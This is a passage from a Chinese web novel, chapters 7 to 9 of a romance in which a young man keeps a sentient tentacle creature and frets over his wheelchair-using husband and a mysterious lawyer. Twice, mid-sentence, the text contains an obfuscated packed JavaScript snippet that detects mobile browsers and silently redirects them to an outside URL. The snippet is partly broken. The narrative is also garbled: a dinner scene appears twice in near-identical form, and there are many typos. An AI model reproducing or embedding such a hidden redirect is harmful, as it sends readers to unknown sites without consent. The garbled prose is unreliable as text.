听着江树叫他,他终于挪动身体半撑到床上,俯身凑近江树与江树呼吸缠在一起,时间像是在这一刻静止,不知过了多久他终于还是将指尖轻触在江树的唇瓣上。 柔软的唇瓣抚摸着他的指腹,像是无数的蛊虫在啃咬进他的身体,他胸口用力起伏,但仍然克制地轻轻贴下去,隔着自己的指尖亲吻江树,极度压抑地低语。 “宝贝……不要怕我……我永远都不会伤害你。” 7.第 7 章 # 007 清早别墅里最忙碌的时候,打扫,园艺,洗衣服,所有人都井井有条地做着自己的工作。 可是江树换好了衣服,在门口已经来回准备开门了好几次,结果门都没打开,他杵在门后对着门板,心理建设要怎么出去面对殷咎。 不只是昨天他看了殷咎自己解决,还有他也企图想着殷咎解决,幸好最后因为那个触须没到最后。 但是他又梦贵这了,醒来清楚地记得,他梦中出现了殷咎。 “啊!我要怎么面对咎哥啊!” 江树一头撞在了门上,在某一天的一声,像有人在他脑中敲钟。 “夫人?您起床了吗?” 门外突然响起了管家的声音,江树奇怪管家怎么没直接敲门,他深吸了一口气,肃清脑中五颜六色的思想,站得笔直地打开了门,学管家平时说话的证据回答:“管叔,我起床了,马上就下楼吃早餐。” 接着他就出去,走在了管家前面,冲下楼梯。管家在后面不得其解,他老板和夫人空间在做什么? 江树飞奔的脚步到了餐厅门口自觉地又慢下来,走进去看到殷咎,他不由地顿了顿脚步,再才向殷咎走过去,努力自然地打招呼。 “咎哥,早。” 殷咎看起来和平常没有丝毫区别,目光注视着他的动作,在他坐下后关切地对他问:“怎么了?是不是哪里不舒服?” 江树目光转向殷咎,不受控制地就落在殷咎的手上,他连忙又转回来,盯着桌上的早餐回答,“没有。可能没有睡好,做了恶梦。” 殷咎不转眼地对着他,不知道在想什么,之前殷咎也时常会用这样的眼神看他,可此刻他莫名感觉心虚,连忙又说:“咎哥,吃饭。” 不给殷咎再说什么的机会,江树又往殷咎碗里荚菜,夹到冒出来,然后他狼吞虎咽解决了自己碗里的,立即又站起来对殷咎告别,“咎哥,我先走了,你慢点。再见。” 这回殷咎没能抓到江树的手,江树像泥鳅一样眨眼就溜了,他怔怔地盯着江树跑不见,问管家,“我又做错了什么?” 管家离了殷咎两米远,保持着优雅体面的回答:“老板,您做了什么,不是您自己最清楚吗?” 殷咎脑中立即浮现出昨天的事,仿佛还能感觉到江树指尖的触感,如果江树能够用那只手用力地握着,将呼吸都喘在上面,他愿意死在江树手中。 管家被殷咎的眼神吓到了,他只是随口一说,可殷咎这表情像是真的对江树做了什么。 一刹间,他满身被恐惧贴满,小心试探地问殷咎,“老板,你不会是——” 他没说完,殷咎满是杀意的视线向他横来,他连忙捂住了喉咙。 江树今天没有要去哪里,他只是单纯地不知该怎么面对殷咎。 他到了店里,换上衣服就滚到了休息室的沙发里,仰头对着天花板,催眠自己忘掉关于殷咎自己动手的所有事。 吴子涵走进员工休息室,看江树今天又来这么早,奇怪地问:“你们结婚了的人,都上班这么积极吗?” 江树只是目光向他瞟了瞟,什么也没回答,一看就是为情所困的样子,过去开解地说:“出什么事了?前天不还准备过一周年纪念吗?今天吵架了?” 江树狠狠地拧着眉头,他犹豫很久,但他实在没有可以询问的对象,于是转过去认真地问吴子函,“如果你老公那里没残,但你们一直像兄弟一样,结果他突然对你做了很那种的事,他是什么意思?” 吴子涵理了江树的话半天,“你的意思是你老公不行?” “不是!”江树头疼,“不,是。我一直以为他不行,但是昨天突然看到他其实很行。” “等等。” 吴子涵要被江树弄愣了,得新理解了一遍他的话问:“你是说你们结婚一年了,从来没有进行过夫夫义务?” 江树不由地红了耳尖,放弃地转过身,“算了,不说了。” “别呀! ”吴子涵转到了江树面前,“说说,怎么回事?我帮你参考参考啊!” 江树怀疑地盯了他两秒,最终还是犹豫地说出来,“就是昨天他那个,自己那个的时候,被我不小心看到了,然后他就拉着我的手看他那个……你说,他的意思是不是想跟我那个?” 吴子涵一直知道江树很纯情,就是那种生活在完全干净的环境,连片都没看过的纯情,前天听到江树结婚一年,他还怀疑江树一直是装的,结果是结婚一年啥都没干过,还把老公当兄弟处。 他深思熟虑地审视了江树半晌,“我虽然很同情你,但我觉得你可能想多了。如果你老公想跟你霍华德点义务,怎么可能让你一年了还误会他不行?而且,他真的想跟你做义务,像你这样漂亮的帅哥天天在眼前,怎么可能忍得了一年。” 他最终结论,“所以,他应该对你没什么感觉,你说的昨天,可能就是他怕误会他不行,故意证明给你看。” “是这样?” 江树怀疑,他不太愿意相信吴子涵说的结果,他转身对着窗外,继续苦恼。 就这么一直苦恼到了中午吃饭,店里包午餐,每天还吃得很不错,五菜一汤,还经常有大菜。 据说是半年前换了老板,大幅提升了员工的福利,不只是午餐,连员工休息室也扩大了好几倍,装修堪比五星酒店,还给他们每个人都安排了午休的床。 不过江树是在换了老板才来的,不知道以前是个什么情况,现在的老板也很神秘,从来没有露过面,管理他们的是门店经理。 江树吃完午饭正准备午睡,经理就来休息室叫他。 “江树,有人找你。” 江树回到江家,与江家所有的一切都格格不入,更谈不上交什么朋友,和殷咎结婚这一年,他学上了心心念念的机车改装,店里认识的人也算是他的朋友,但除了店里的人,他想不出还有谁会来找他。 他从床上爬起来,问经理,“谁找我?” 经理一脸再继续他还好奇的眼神打量着他,“你出去看看就知道了。” 江树出去在客户室见到了找他的人,确实是他不怎么也想不到的,他的亲爸妈,还有大哥都来了,三人往客户室里一坐,其他人都不敢进来了。 他打着哈欠走进去,抄着双手问:“你们找我有事?” “你这是什么态度?” 江父名叫江兴权,一身非常明显的大男子脾气,在江家他要求所有人什么都听他的,看江树是怎么都不顺眼。 江树刚回江家时,其实他眼前的亲生父母也对他好过。 只是当他们的心疼过了,就开始对他有要求,然后他被拐十几年养成的一切就全成了他被嫌弃的理由。 他们嫌他小气粗俗,可是却不问他小时候经常吃不饱饭,他要靠自己捡贝壳,背着养父母换几块钱买几块饼。他们说他改不了谄媚讨好,可是却不管他那十几年一个不对就会被打,他不谄媚根本活不下来。 和殷咎结婚这一年,他没有回过江家,也和江家几乎没有联系,还要从殷咎那里知道江家的消息。 而江于思那种没什么主见,什么都要别人帮他作主的人,是江兴权心中最完美的儿子样子。 江兴权瞪着江树质问,“于思去哪儿?” 江树不明白江于思去哪里,江家一家人为什么要跑来问他。 江兴权很纡尊降贵地解释,“于思昨天晚上没有回来,他最后打电话说见到了你,你不知道他去了哪儿?” “我跟他又不熟,怎么知道他去哪儿?” 江树说的是实话,江兴权却十分生气地吼,“江树,他是你弟弟,他从来就不会去金广大厦那种地方,为什么昨天刚好去了那里,又刚好遇到你,然后他就失联?” “你怀疑我?我绑架他?” 江树都要气笑了,终于明白江家这么大费周章地来找他,是因为什么。 江母徐玉珊眼看气氛要闹崩,连忙站出来,“小树,你爸不是那个意思,你又不是不知道他的脾气。” 江树没什么反应,徐玉珊就走到他面前,拉了拉他的胳膊接着说:“于思这孩子从来不会失联,也不会夜不归宿,他平时去的地方我们都找了,但是都没有消息、现在不到48小时又不能报警,只能来问你。” 江树想起昨天遇到江于思时,江于思身边好像没有别人,当时的情况很可能是江于思在跟踪贺祈。 江树大哥突然把话接过去,“他失联前,很可能最后一个见到的人就是你,你好好想想当时他有没有什么异常。” 大哥名叫江成业,对江树谈不上什么感情,无论江于思,还是他,对江成业来说都只是一个弟弟的标签。他倒是不讨厌江成业,因为没有感情就不会偏心。 思忖了一遍江成业的话,他反问地说:“你们认识一个叫贺祈的人吗?当时江于思应该就是跟着贺祈到金广大厦的。” 江成业眼眸沉了沉,用手机搜出了一张照片,凑到江树眼前,“是不是这个人。” 江树点了下头,江成业立即收起了手机,十分客气地说了声,“谢谢。” 接着几人就像来一样,又满身是谱地走了。 江树无语地去外面便利店买了一瓶冰红茶,回来抱着喝了半瓶还是很不爽。 他觉得江于思失联跟贺祈应该没什么关系,当时贺祈走了,江于思却只是过来骂他,很显然他跟贺祈并不熟,甚至喜欢对方都不敢去追的那种不熟。 至于江于思之后去了哪里,为什么失联就和他没有什么关系了。 但是江成业提到贺祈的态度有些奇怪,他昨天没来得及要贺祈的联系方式,要是江成业认识,是不是可以问江成业要? 不过现在江于思失联,他这时候去找江成业,可能真的会被当成绑架江于思的凶手,等这事过了再去也不迟。 反正他都已经找了七年,也不急多等几天。 江树考虑完打了个哈欠,经理凑过来问他,“江树啊!刚才那个,是你爸妈?” 江兴权没有殷咎那么出名,全市的人都认识,但也有认得出他的人。 江树不知道经理怎么看出来他们关系的,他和江家人都不太像,但他最不想被打上的标签,就是江兴权的儿子,否认道:“肯定不是你想的那样。” 经理还想追问,但江树直接溜走了。 整个店里只有他知道,幕后的老板是江树的什么人,买下这家店就是为了给江树上班玩的。 但他也没有见过老板真人,还以为会是江树父母或者哥姐,但刚才的场面显然不像。 至于看出那是江树父母,只要见得多了,根本不需要什么像不像,有些父母对子女的态度完全就是标准模板。 下午很快过去,江树一到下班时间就马上回家,终于今天准时回了家,结果殷咎却还没有回来。 今天是真的不在,管家说他在开会,要晚点到家。 江树听到这不自觉松了口气,他还是有些不知怎么面对殷咎,怀着以后是不是都要这么忐忑下去的心情,他回了房间。 昨天触须的样子确实是恶心到他了,他小心到衣帽间想看看触须现在怎么样,结果比他想的要好,他把背包一打开,里面的触须就立即活蹦乱跳起来,看着已经恢复成一开始的形态了。 他犹豫了半晌,还是把玻璃罐抱到了外面,又放在柜子上观察。 触须带着一点讨好意味地贴到他这边的玻璃内壁,眼看着把触体摊成了一片,还是不放弃地把自己往玻璃上挤。 江树看了半天终于明白过来,触须好像是想碰他? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362135|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他怀疑地把手缓缓碰到了玻璃罐上,果然触须一下收成了一条,在玻璃的另一边紧紧地贴着他的,还像在蹭他似的一拱一拱。 “哼。” 江树轻笑了一声就把手拿开,触须立即像是委屈了般,对着他摇了摇触尖。 他凑过去问:“昨天那个是怎么回事?你是不是吸了我的血?然后变成了那种恶心的样子?” 触须贴到玻璃内壁上对着他不断地拍着触尖,看起来真像是一个人在哭喊般。 江树不吃祂这套地拍了下玻璃罐,但马上意识到触须不会说话,他问得太复杂,触须想回答也答不出来。 于是他思忖了片刻,重新提问:“你昨天变得那么恶、奇怪,是因为我的血?” 触须愣了愣,对着他扭了扭,不明所以。 江树换了一个问题,“你在那个会所里是不是到感应到了别的……嗯、同类?” 触须像是在犹豫,好一会儿才对关他点了点触尖。 他立即回想,却没有感觉到什么时候出现了怪物,而且如果是怪物,他们应该不能那么轻易就逃出来。 江树对触须的可信度产生了怀疑,又问祂,“你知道贺祈是什么人吗?” 触须这回愣住不反应了,像是这个题得祂不知怎么答。 江树又笑了一声,“你以为不回答就不会透露信息吗?” 触须乖巧地怔住不动,他确定地说:“你知道,对吧?” 触须忽然又把自己摊在玻璃上,不断往对着他手的地方拍打,一副卖萌的模样。 江树已经明白,这玩意不只有智商,还很聪明,祂想回答的就回答,不想回答的问题,就装傻卖萌。 他想教训一下不知道自己有多丑的触须,忽然感觉到了一股可怕的怒气,然后玻璃罐里的触须突然发出了刺眼的红光,他本能地往后退了一步,再朝触须看去,才确定了刚才触须暴发出的杀意。 他刚刚还把触须当成某种小动物,此刻发现自己有多离谱。 这虽然可能是怪物的某一小部分,但也是怪物。 触须对着他愣了一会儿,像是意识到了什么,触体里的红光立即暗下去,收起了骇人的杀意,像给江树跳舞一样,把触体扭成了波浪。 江树还是没有向祂靠过来,祂倏然贴到了玻璃内壁上,整条的触体分生出许多细小的触须,像是某种植物长出的根须。 但这触须长出的根须不是乱生长,祂爬满了对着江树的玻璃内壁,又在一些位置留出空隙。 江树到最后终于认出,空隙是两个字——别怕,后面还跟着一个心形。 他一点也没有感觉被安慰,反而只剩下毛骨悚然。 这截触须不只能听懂人类的话,甚至能写出人类的文字。 他连忙把玻璃罐塞回了包里,又藏到了柜子的最深处。触须像是不甘一般,最后还在不停地拍打玻璃内壁。 殷咎回来的时候,江树已经等了他很久,听到外面的汽车的声音,他连忙跑出门去,看着殷咎的轮椅被司机推到车前,殷咎从车里挪到轮椅上。 他跑过去接过了轮椅,鼻间闻到了一股浅淡的血腥味,淡得他都怀疑到底是不是血腥味。 殷咎突然拒绝他,“不用推了,我先回房间洗澡。” 江树想说回房间他也可以推,可他又想起了昨天的事,连忙放了手,看着殷咎自己把轮椅开进去。 过了半个小时,殷咎换了一身衣服下楼,身上全是香味。 江树提醒自己别再想昨天了,再才过去蹲在殷咎面前问:“咎哥,你去哪里了?这么晚才回来。” “集团开会。” 江树其实是想问刚才的血腥味,但他也不确定那是血腥味,最终没有问,把殷咎推到了餐厅开始吃饭。 他一边给殷咎夹菜,一边随口地提起,“今天我爸妈,还有大哥来找我了。” 殷咎顿时紧张地盯着他,“他们为难你了?” “有你在他们怎么敢!”他得意地一笑,“是江于思失联了,昨天最后给他们打电话说见到了我,他们就跑来问我江于思去哪里的。” 他说完发现殷咎直盯着他,意识到自己说漏嘴,找补地解释,“是碰巧在路上遇到的,当时我……在街上撞到了一个长发帅哥,他好像认识我,还跟我说什么老大知不知道,然后我们就聊了几句,他就走了。这时候江于思突然冒出来,说他喜欢那个帅哥,现在江家怀疑江于思失联和那个帅哥有关。” 说完了江树才发现殷咎沉着脸,他不知道哪一句说得惹了殷总,试探地说:“江于思?江家怀疑我?撞到了一个帅哥?” 殷咎看着江树认真的模样,被他逗得笑了,伸手摸到了江树的头发,“好了,别管这些事,跟你没关系。” 江树被摸头发就像猫一样本能地缩起脖子,他没试出来怎么惹到的殷咎,不过殷咎已经把自己哄好了,他也不见外地说:“我本来也没想管,江家的事都跟我没关系。” “嗯,吃饭。” 江树看着殷咎,觉得他咎哥还是他熟悉的样子,决定再也不想昨晚的事,他们还和以前一样。 于是转回去继续吃饭,突然又想到了怪物,偃胜一路离他们家也没有多远,他能遇上,殷咎也有可能遇上。 而且殷咎腿不好,万一遇到了怪物甚至连跑都不行,他一脸担忧地对殷咎说:“咎哥,最近我们市好像有很多杀人案,听说还有分尸的,你平时出门要小心一点,最后带上保镖,像你这么有钱又帅人又好的,最容易被盯上了。” 殷咎太阳穴的筋猛地抽了好几下,他又高兴又好笑又有点心疼,不由地把轮椅放江树那边靠近,一只手此过了江树的脖子,抵近江树的额头,感觉到了江树变热的呼吸,他淡然地回答了一个字。 “好。” 8.第 8 章 # 008 晚上别墅里的佣人都下班了,变得格外冷清,江树对触须认识字这件事,真的恐慌了,他想象不出那样可怕的怪物如果都有文化,有思想,世界会变成什么样。 他藏好触须就下楼,一个人靠在客厅的沙发里等殷咎回家。 殷咎定门禁时他不知道有没算他自己,但大多数时候都是殷咎在等他,这还是第一次殷咎这么晚没回来。 他又看了眼时间,已经8点了,犹豫要不要给殷咎打电话,外面就响起汽车的声音。 接着一道灯光扫过了院子,他立即冲出门去,果然是殷咎的车。 司机把轮椅推到车门前,殷咎从车里挪上轮椅,他连忙叫开司机接过轮椅,低下头凑到殷咎耳边要说话,却先闻到了一股浅淡的血腥味,淡得他怀疑到底是不是血腥味。 殷咎不等他开口,先拒绝,“不用推,我回房间。” 江树想说回房间他也可以推,但殷咎已经开轮椅走了,他愣在原地不知所措。 他们结婚一年殷咎对他说话都是温柔耐心的,从来没有刚刚这样冷硬地拒绝他过。 看着殷咎的轮椅进屋,他烦躁地原地转了两圈,然后开始挠头。 他咎哥是不是开始讨厌他了? 江树想他哪里做错了,可除了他昨天想着殷咎自己动手,还有梦遗的时候梦到殷咎了,他没有做什么惹殷咎生气的事,今天也按时回家了,没有到处乱跑。 难道是他咎哥发现他想着他自己动手了?不可能,他又没一边叫他咎哥的名字一边动手,就算被看到那也是人之常情。 那是他梦到他咎哥梦遗被发现了?也不可能,这怎么会被发现,除非他做梦的时候叫了咎哥的名字,他咎哥刚好听到。 这更不可能了,他咎哥怎么会半夜来他房间。 江树想不明白,踢了路边的草丛一脚,两脚,三脚。 楼上,殷咎的轮椅开进房间他就站起来,脱下穿得一丝不苟的外套,露出里面满是血迹的衬衣,一股血腥味淌了出来。 他扯开领带,把衬衣也脱了,和外套一起扔进垃圾桶,然后去洗澡。 洗完出来他在衣帽间里找了一圈,特意找出一身和刚刚差不多的衣服,穿上再仔细嗅了嗅,还嫌不够,又喷了满身香水。 幸好香水的味道很素,喷多了也不会太明显,他终于出去坐回轮椅。 江树在餐厅门口等了快半小时,殷咎终于下楼,这一次他没有马上跑过去。殷咎的轮椅开过来,他才注意殷咎洗头了,应该也洗澡了,衣服也换了,靠近还闻到殷咎身上有香水味。 轮椅停在他面前,殷咎看起来和平常没有区别,拉住他的手,一如既往温柔地注视着他说:“是不是等饿了?对不起,我不该回来这么晚。” 他突然在轮椅前跪蹲下去,双手搭着殷咎的腿把脸贴殷咎膝盖上,再仰起视线对着殷咎说:“咎哥,你去哪里了?我一直在等你。” 殷咎的心脏猛然颤缩了一下,江树这样小心翼翼,乖巧讨好他般的模样,他只在他们刚结婚时见过。 那时江树很怕他,在他面前总是小心翼翼,像是被抛弃过的猫对他充满警惕,他想尽办法才让江树在他面前大胆放肆起来。 “怎么了?”殷咎低身下去尽量平视江树的双眼解释,“今天、集团有个特别重要的会,我必须出席,我以后都不会这么晚回来了,好吗?” 江树没说好不好,脸贴着他的膝盖蹭了蹭,突然问他,“咎哥,你会讨厌我吗?” “我怎么会讨厌你。我永远都不会讨厌你。” 江树把殷咎握着他的手拉过来,压到了脸上继续问:“无论我做了什么事?” “你做了什么?” 江树没有想到殷咎会这么回,脸忽然又热起来,悄悄瞥了眼殷咎的表情,含糊地解释,“就是比如,比如你不喜欢的事,你也不会讨厌我?” “你不会做我不喜欢的事。” 殷咎说得非常笃定,江树却很心虚,“你不要这么相信我,万一我真的做了——” “不是我相信你。”殷咎微微一笑,嗓音发沉地告诉江树,“是你做什么我都喜欢。” 这话怎么听起来这么像表白? 江树脑子猛然嗡了一声,脸可见的红起来,他怕被殷咎看到,连忙抽回手,一下腾起来说:“咎哥,我们去吃饭吧,都凉了!” 殷咎捏紧空了的手,又凑到鼻间深嗅起来,目光追着江树,看说去吃饭的人往上楼的方向跑,发现跑错了又连忙跑回来,冲到他轮椅背后,跟他掩饰,“是去助跑。” 他的宝贝怎么这么可爱呢?刚刚是他说喜欢害羞了吗? 殷咎嘴角压不住地应声,“嗯。” 江树立即推起他的轮椅,往餐厅飞跑过去。 到了餐厅,江树终于耳朵没那么红了,他把轮椅放好,坐到殷咎旁边。 为了等殷咎菜都温着,佣人现在下班了,管家也没在,江树就自己揭盖子,然后一如往常给殷咎夹菜。 只是他夹的时候余光总在偷瞥殷咎,他知道殷咎刚刚说的话,肯定没有那种喜欢他的意思,就像吴子涵说的,殷咎如果喜欢他,怎么会结婚一年都只像兄弟一样关心他,又怎么会他提一起睡就马上走。 昨天的事肯定是因为他突然撞进去,把他咎哥吓到了,惊慌的时候就是会做出莫名的行为,像他刚刚也跑错方向了。 没错,就是这样。 江树说服了自己,决定忘了昨天的事,和他咎哥像以前一样,不再去想别的。 “咎哥,吃这个,我今天跟管叔点的,听说很好吃。” 江树想通连声音都快轻快了,他把菜夹到了殷咎碗里,殷咎突然拉住他的手,拿起餐巾擦他的手指,他才发现上面沾到了菜汁,直接抽回来用嘴嘬了一下说:“不用擦,我吃完去洗。” 殷咎注视着江树,沉下了刚刚嘴角压不下的笑意,忽然把江树那只手又抢回来,仔细地用餐巾擦干净,然后用指腹磨蹭在江树嘴唇碰过的地方,故意暧昧地凑近问:“有没有烫到?” “咎哥,你太紧张了。” 江树丝毫没有感受到殷咎的暧昧,把手又抢回来,然后把筷子塞到了殷咎手里,“快吃饭,不然真的要凉了。” “好。” 殷咎面色从容地回答,可是他手里的筷子被捏断的了一根,怕江发现一起假装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15377890|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没断地捏着。 江树其实注意到了,不过他注意到的是他咎哥好像没什么胃口,他就不断地给他咎哥夹菜,还随口讲起了今天的事给他咎哥下饭。 “今天中午我爸妈,还有大哥来店里找我了。” “他们为难你了?” 接到殷咎紧张的眼神,江树得意一笑,“有你在他们怎么敢!是江于思失联了,昨天最后给他们打电话说见到了我,他们就来问我江于思去哪里的。” “江于思?他怎么了?为什么要来问你?” 江树意识到说漏嘴,找补地解释,“昨天我回来回来的路上,碰巧遇到了他……其实是我、我在街上撞到了一个长发帅哥,他好像认错人了,跟我说他什么老大知不知道。” “然后呢?” 江树发现殷咎直盯着他,知道他咎哥好像又不高兴了,但殷咎问他,只好继续说下去,“然后我们聊了几句,他就走了,连他名字我都没有问。这时候江于思突然冒出来,说他喜欢那个帅哥,现在江家怀疑江于思失联和那个帅哥有关。” 他说完了等着殷咎发言,可是过了半晌,殷咎问了他一个很莫名地问题。 “你觉得那个人很帅?” “啊?”江树想了好几遍殷咎这个问题是想问什么,但他没想出来,如实回答,“贺祈?是挺帅的,比好多明星都帅,而且他头发很长,看起来特别不一样。” “你喜欢长头发?” 殷咎突兀地又问,江树不由地打量他,“咎哥,干嘛一直问他?” “没什么,好好吃饭。” 江树觉得明明就有什么,殷咎从来没对什么感兴趣过,可是殷咎不打算再跟他说下去,他只好转回去吃饭。 可吃着,他从长发帅哥想到了贺祈,又想到了怪物。 偃胜一路离他们家也没有多远,看过了现场他肯定出现在那里的是怪物,也许就像传说的那样,他们的城市其实到处都是潜藏的怪物。 殷咎什么都不知道,还腿不好,万一真的哪天遇到连跑都不行。 可他又不能直接说这世上有怪物,殷咎不一定会相信,于是脑子一转,他严肃地对殷咎说:“咎哥,最近我们市发生了好多起杀人案,就是我昨天回的路上就碰了,听说死的很惨,你平时出门要小心一点,最好都带保镖,像你这么有钱又帅人又好的,最容易被盯上了。” 殷咎一时间没理解过来江树的话,看着江树担心他的样子,他又高兴又好笑又心疼。 江树没听到殷咎答应,以为殷咎不信,连忙又说:“我是说真的,我都看到了……就是现场的血迹,小心一点又没有什么。” “好。” 殷咎淡然地答应,突然又接着说:“那以后,你下班了来还接我。” 江树看到殷咎期待的表情,想到殷咎比他还惨,连一个亲人都没有,就算有保镖,肯定也不是真正关心他,于是答应,“嗯,我有空就去。” 这个有空殷咎很不满,但算是答应了,他突然把轮椅往江树那边靠近,一只手伸过去勾住了江树的脖子,抵到江树额头上,江树变热的呼吸喷过来,他深嗅了一口说:“你还没有回答,你觉得我和贺祈谁帅?” 9.第 9 章 # 009 江树没能和殷咎讨论出他是喜欢头发长的,还是殷咎那样的,他发现他的意志跟他的理智不同步,本来已经决定忘了昨天的事,和殷咎像以前一样相处。 然而,殷咎一靠近,他就控制不住心跳加速,不敢直视殷咎的脸,殷咎到底在说什么他都没听进去,脑子一直回忆殷咎自己动手的画面,连殷咎的手都不敢看了。 吃过晚饭,他照常推殷咎散了一圈步,只是过程异常沉默,回到房间,殷咎没来找他按摩,他也没下楼偷饮料,躺在床上来回滚圈。 “我难道其实真的是个变态?喜欢看男人自己安慰自己吗?” 江树滚了半天,还是没能忘掉他想忘的画面,反而越来越清晰,最后甚至自己起了反应。 他拒绝面对,强行按了回去,把头蒙在枕头里催眠自己睡觉。 第二天一早,江树经过一晚上的苦思冥想,在餐厅见到殷咎,终于能稍稍地伪装好“他是变态”这件事,不总去注意殷咎的手了。 殷咎也没有再突然地靠他很近,他们总算从头到尾一起吃完了早餐,殷咎先送他出门,才自己去上班。 江树不忙着去找怪物了,到店里就在网上搜做蛋糕的教程,他准备接受师弟的建议,在结婚纪念给殷咎做蛋糕。 不过专门的糕点学校太贵,他按教程里的配料在网上买食材,准备回家自己跟教程学。 吴子涵也过来偷看他手机,一眼就看出来他的目的,上下打量着他问:“江树同学,你怎么这么善变?今天不考虑你的好兄弟老公,是不是对你有意思了?” 江树翻了他一个白眼回答:“不考虑了,我咎哥肯定是好人,我不想沾污他。” 吴子涵忍着笑审视了江树半天,实在好像江树的那个咎哥,到底是个什么样的人,能把江树迷得说出“沾污”这种话。 他觉得再怎么也该是反过来,江树被“沾污”才对。 一天又转眼过去,江树今天下班没有急着回家,他记着答应殷咎的事,把车骑去了殷咎的集团。 到了集团楼下,他正想给殷咎打电话,结果看到贺祈从集团大门出来,然后又上了一辆黑色的轿车。 贺祈肯定知道怪物的事,并且对怪物有什么目的,那他出现殷咎的集团,会不会是这里也出现了怪物? 还是贺祈想对他咎哥做什么?他第一眼见到贺祈就感觉不是好人。 他连忙给殷咎打电话,“咎哥,你现在在哪儿?有没有遇到什么危险?” 殷咎的声音依旧平稳地从听筒里传出来,“我在办公室,出什么事了?” 听到殷咎没事,江树放心了一点,脑子快速地转了一圈回答:“我、我今天要加班,不能去接你了。”隔了好一会儿,听筒里才传来殷咎一如往常的声音,“好,早点回家。” “嗯,我知道。你也是,路上要小心。” “好。” 江树挂了和殷咎的通话,再去找贺祈的车,已经看不见了,他犹豫了片刻拨了江成业的号码。 江成业惊奇地盯着手机,他仔细回想,确定这是江树第一次给他打电话,他接起来,“喂,我是江成业。你确定没打错?” “没有。” 江树也觉得他和江家人都没什么联系,突然给江成业打电话显得很唐突。 不过他们都为了江于思跑到店里来找他了,他只是打个电话不算过分,直接问江成业。 “贺祈是什么人?” 江成业怀疑地反问:“你问他做什么?你和他有什么关系?” 江树脑子又转起来,他不能直说怀疑贺祈和怪物有关,可他有什么理由找贺祈?如果说不好,江成业可能又要怀疑他和江于思失联有关。 脑子转完一圈,他语气严肃地对江成业说:“我看到他和咎哥在一起,我怀疑咎哥出轨了,我要去找他。” 江成业震惊得原地呆滞了两秒,其实不难猜到殷咎为什么要指定江树联姻,小时候江树就长得粉雕玉琢,还格外嘴甜,无论是谁见了他没有不喜欢他的。 走失被拐又再回来,在那种穷乡僻壤的海岛江树也没长丑,虽然黑了点,瘦了点,仍然漂亮得不像话,变黑的皮肤甚至更让他添了一层独特的吸引力。 在殷咎之前就有人问到过他面前,想打江树的主意,殷咎会看上江树,他一点也不意外。 只是殷咎的名声,他以为是把江树当成玩物,可这一年殷咎为了江树差点把他们家逼到破产,要不是看他们这十几年没放弃找江树回来,让他有了机会见到江树,恐怕他们家就不仅仅只是破产那么简单。 此刻,听到的江树的话他以自己耳朵出问题了,怀疑地问江树,“你确定?是不是看错了?他们只是在一起,还是你看到了别的什么?” “我肯定没有看错!” 江树无比笃定地编,“我都看到他们手牵一起了,咎哥还摸他的脸……反正你先告诉我贺祈是什么人?去哪里能找到他?” 江成业和江树谈不上什么感情,但起码是他亲弟弟,贺祈不是什么简单的人,不管江树说的是真是假,江树到贺祈那里都讨不到便宜,他并不希望江树出什么事。 但江于思失联两天,江兴权都快要疯了,他们没找到跟贺祈有关的证据,报了警也没有线索,江于思就像消失了。 如果贺祈真的有问题,江树要是去找他也失踪了,殷咎一定会想方设法找江树,到时可能会有江于思的线索。 江成业不相信殷咎出轨贺祈这种话,但怀疑殷咎和贺祈一起有什么不可告人的事。 他思忖完告诉江树,“他是殷咎的个人律师,黑砂律所的老板,我只知道他律所的地址,你可以去那里试试能不能见到他。” “你把地址发给我,我马上去。” 江树收到江成业发的地址,马上定了一个导航出发。 殷咎站在几十层高的楼上,隔着落地窗看着江树,一直到江树的车完全消失在他眼中,他才收回视线。 黑砂这个名字听起来很不像律所,不过江树不了解律所,没有考虑名字的问题。 他找到江成业给的地址,不在市中心,而是一个比较偏远的别墅区,整个小区内都没有什么人。 看到了黑砂律所的招牌,他才开始考虑要不要直接进去。 他现在也不确定贺祈是什么立场,对怪物有什么目的,和殷咎只是工作上的关系的话,他这么找去会不会反而给殷咎惹上什么麻烦? 可是殷咎那么温柔,那么容易对别人好的人,贺祈骗他怎么办?而且贺祈和怪物有关,万一把殷咎也扯到怪物的事里去了怎么办? 江树决定先确定贺祈是个什么样的人,于是把车骑进了院子。 房子的风格很奇怪,跟黑白无常一样,不是黑色就是白色,院子里也没有一根草,全是锃亮的黑色大理石。 里面亮着灯,门也没有锁,但前台没有人。 时间已经六点,江树不确定是不是下班了,他在前台喊了两声没有人应,就自己走去了里面。 贺祈在最里的办公室,隔着磨砂玻璃看外面的江树,到处伸着脑袋找人。 他回头看了眼稳坐在椅子上的殷咎,半晌都没等到指示,他只好问:“老大?怎么办?” “去见他,别说多余的话。” 贺祈心有余悸,昨晚殷咎才让他别出现在江树面前,他怕去了回头殷咎又发疯,可是他不去,殷咎可能现在就要让他先疯。 他只好耸了耸肩,习惯性的甩头发,但头发已经没了。 “找谁?” 江树听到声音连忙看过去,第一眼注意到的是贺祈的长发没了,还变成了寸头,没变丑,只是完全成了另一种风格。 他脱口而出,“你的头发怎么剪了?” 贺祈冷笑,他怎么知道殷咎有什么毛病,嫌他头发太长,说影响律师的形象,非要他变短,鬼知道这么多年殷咎怎么才觉得他头发影响了形象。 他找了张桌子靠上去,双手随意地抱在胸前问:“怎么又是你?你来这里做什么?” 